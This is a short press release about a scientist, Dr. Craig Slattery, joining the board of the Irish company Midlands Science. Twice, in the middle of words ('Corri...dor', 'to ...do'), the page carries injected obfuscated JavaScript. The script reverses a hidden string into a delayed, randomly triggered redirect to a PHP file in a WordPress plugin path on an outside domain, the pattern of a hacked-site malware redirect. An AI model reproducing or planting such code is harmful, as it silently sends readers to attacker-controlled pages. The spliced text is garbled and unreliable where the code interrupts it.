New Local Board Member for Midlands Science

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New Local Board Member for Midlands Science Local development company Midlands Science (formerly Atlantic Corri $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dor) is pleased to announce that local scientist, Dr. Craig Slattery will join the board of direc tors later this month. An Offaly native, Craig is an experienced educa tor and lecturer in pharmacology and related disciplines including toxicology, regula tory affairs, and human diseases.

Martin Cronin, Chairman of Midlands Science commented, ‘Dr. Slattery brings with him extensive science outreach know-how and a broad range of science communication experience across all media platforms. I am very pleased to welcome him to our board of direc tors and look forward to his valuable guidance, energy and contribution as we work to implement a revised strategic direction under the new company name, Midlands Science. The creation of a new and more distinctive brand is a miles tone for this company, whose extensive work in the promotion of education within science and technology fields is now well known throughout the Midlands region.’

 

In addition to his current role as Assistant Professor of Toxicology & Regula tory Affairs at University College Dublin, Craig works as a Science Outreach Specialist & Coach, is an Irish and European Registered Toxicologist (EUROTOX) and Vice-President of the Irish Society of Toxicology.

Dr. Slattery said,

‘‘I have been working with the Midlands Science team over the past couple of years as a speaker, science communica tor and advisor and I have witnessed just how successful their work is to really encourage young people to study towards something that they have a passion for. Young people are naturally drawn to science. Children are natural experimenters. What we need to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do is foster and encourage this thirst for knowledge and discovery as they decide what sort of career they would like to pursue. Midlands Science is actively engaged in a number of valuable projects to address science education promotion; an area I am most passionate about. I look forward to working with my new colleagues and with everyone who has a stake in science education development opportunities here in the Midlands and beyond.”